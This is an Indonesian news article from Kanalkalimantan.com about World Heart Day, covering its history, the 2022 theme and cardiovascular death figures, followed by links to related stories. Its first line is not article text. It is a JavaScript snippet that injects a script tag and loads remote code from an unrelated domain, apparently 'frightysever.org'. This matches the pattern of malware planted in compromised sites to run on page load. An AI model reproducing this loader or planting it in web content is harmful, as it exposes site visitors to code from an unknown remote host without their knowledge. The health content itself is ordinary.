(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Tanggal 29 September, setiap tahunnya, seluruh dunia memperingati World Heart Day (WHD) atau Hari Jantung Sedunia.
WHD diperingati dengan promosi pentingnya cek kardiovaskular secara berkala untuk kesehatan jantung.
Penyakit kardiovaskular adalah penyebab kematian paling umum secara global. Adapun faktor pemicu utama penyakit kardiovaskular adalah gaya hidup yang tak sehat dan bisa diubah, seperti pola makan yang buruk, kurang olahraga, dan merokok.
Baca juga: 140 Anak di Banjarmasin Mengidap Kanker, Begini Anjuran Dinkes
Selain itu, penyakit kardiovaskular juga memiliki dampak besar pada sistem ekonomi di negara-negara. Hal tersebut karena tingginya biaya perawatan kesehatan terkait dengan pengobatan dan hilangnya produktivitas terkait dengan kecacatan maupun ketidakhadiran dari pekerjaan.
Tema Hari Jantung Sedunia 2022 adalah “Use Heart for Every Heart”, bertujuan untuk meningkatkan kesadaran di seluruh dunia, mencegah dan mengelola penyakit-penyakit kardiovaskular. Federasi jantung dunia telah bermitra dengan perusahaan kesehatan digital untuk merayakan Hari Jantung Sedunia.
Sejarah Hari Jantung Sedunia
Pada tahun 1999 World Heart Federation (WHF), bersama dengan Organisasi Kesehatan Dunia (WHO), mengumumkan penetapan Hari Jantung Sedunia. Ide momentum ini dicetuskan oleh Antoni Bayés de Luna, presiden WHF dari tahun 1997-1999. Hari Jantung Sedunia awalnya (sampai 2011) diperingati pada hari Minggu terakhir di bulan September, dengan perayaan pertama berlangsung pada tanggal 24 September 2000.
Pada awal tahun 2000-an, sekitar 17 juta orang di seluruh dunia meninggal akibat penyakit tersebut setiap tahunnya. Sebagian besar kematian ini didominasi akibat penyakit jantung koroner atau stroke.
Meski penyakit kardiovaskular kerap dianggap sebagai penyakit orang-orang yang tinggal di negara maju, namun 80 persen kematian akibat penyakit ini terjadi di negara berkembang hingga berpenghasilan rendah dan menengah.
Lebih dari 90 negara ambil bagian dalam perayaan internasional ini setiap tahun. Hasilnya, Hari Jantung Sedunia terbukti menjadi sarana yang efektif untuk menyebarkan informasi tentang CVD. Tingkat keterlibatan yang tinggi dari pemerintah dan organisasi paling penting bagi negara berkembang, yang sangat terpengaruh oleh penyakit ini. (Kanalkalimantan.com/kk)
Reporter : kk
Editor : kk
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.